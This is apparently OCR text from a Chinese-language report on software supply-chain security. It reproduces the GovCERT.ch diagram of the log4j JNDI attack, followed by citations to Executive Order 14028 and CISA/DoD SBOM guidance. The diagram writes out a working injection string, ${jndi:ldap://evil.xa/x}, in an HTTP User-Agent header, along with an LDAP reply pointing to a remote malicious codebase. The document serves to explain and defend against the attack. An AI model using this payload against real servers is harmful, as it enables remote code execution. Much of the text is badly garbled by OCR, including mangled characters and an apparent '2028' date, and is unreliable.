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The log4j JNDI Attack

and how to prevent it

An attacker inserts the JNDI lookup in a The string is passed to log4j log4j interpolates the string and
header field that is likely to be logged. for logging queries the malicious LDAP server.
“” et ?
GET /test HTTP/1.1 HTTP ${indi:1ldap://evil.xa/x} ldap://evil.xa/x
Host: victim.xa
User-Agent: ${jndi:ldap://evil.xa/x} g DISABLE JNDI LOOKUPS
BLOCK WITH WAF
© € PATCH LOG4)
Attacker Vulnerable Server Vulnerable log4j Malicious LDAP Server
A http://victimxa implementation Idap://evilxa
2
2 o e— @ —o— E2
[ === €) DISABLE LOG4) ==
B RaS °
€ pisABLE
REMOTE ? n
CODEBASES
w O
public class Malicious implements Serializable { dn:
javaClassName: Malicious
s““::u{m“u‘ R p— javaCodebase: http://evil.xa
javaSerializedData: <...>
}
— The LDAP server responds with directory
jAVlA qeser:allzesl (or do;/nloads) the information that contains the malicious
@ @@ GovCERTch malicious }CIVG class and executes it. jGVG class
2021 £ 11 A Logdj S/ =4 EREHSHELE 2021 5 5 ZEARKHEAH
D400 L EBFE cEBSRERIEFE  (Photo Credit: Colonial Pipeline 3= #h R 2 % -
GovCERT.CH, https://www.ncsc.gov.ie/emailsfrom/Reports/ EREEREER o (Photo Credit:
Log4j ) Famartin, https://w.wiki/4qej )
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* The White House, “Executive Order on Improving the Nation’s Cybersecurity”, May 12, 2021, https://www.whitechouse.gov/briefing-room/
presidential-actions/2021/05/12/executive-order-on-improving-the-nations-cybersecurity.

* EO-14028 BR# E% FCEB B3R EFPY ( Federal Civilian Executive Branch) * N &EZ ~ ByEE LB AL o

CISA, “Executive Order on Improving the Nation’s Cybersecurity”, https://www.cisa.gov/topics/cybersecurity-best-practices/executive-order-
improving-nations-cybersecurity.
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Federal Government Cybersecurity
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S £ 5 E0-14028, Sec. 4. Enhancing Software Supply Chain Security, https:/www.whitehouse.gov/briefing-room/presidential-actions/2021/05/12/exe
cutive-order-on-improving-the-nations-cybersecurity.
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Securing the Software Supply Chain: {} <
Recommended Practices for /
Software Bill of Materials / Product
. Information
Consumption Obtained
Add SBOM
=
Verify SBOM NO
4
¢
== 32
= 47 &
o7
Enduring Security Framework Store SBOM & Use SBOM, including related Risk Score Procure/
November 2028 related metadata in metada, VEX, or CVE data if acceptable for use Update & Use
CM repository available to create Risk Score case?

SEBUTR 2023 F 11 QAN T REREBUES  REVABTENEERRZ,  HHERETER

B RE AR

ELMEMREEMNEZMNE  SBOM EERINEHAHATHERTREEN

R WEREKERERBREZ - (Source: US. D.O.D, hitps://media.defense.gov/2023/Nov/09/2003338086/-1/-
1/0/SECURING%20THE %20SOF TWARE %20SUPPLY %20CHAIN%20RECOMMENDED%20PRACTICES%20F OR%20
SOFTWARE%20BILL%200F%20MATERIALS%20CONSUMPTION.PDF )
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CISA, “CISA, NSA, and Partners Release New Guidance on Securing the Software Supply Chain”, November, 9, 2023, https:/www.cisa.gov/

news-events/alerts/2023/11/09/cisa-nsa-and-partners-release-new-guidance-securing-software-supply-chain.
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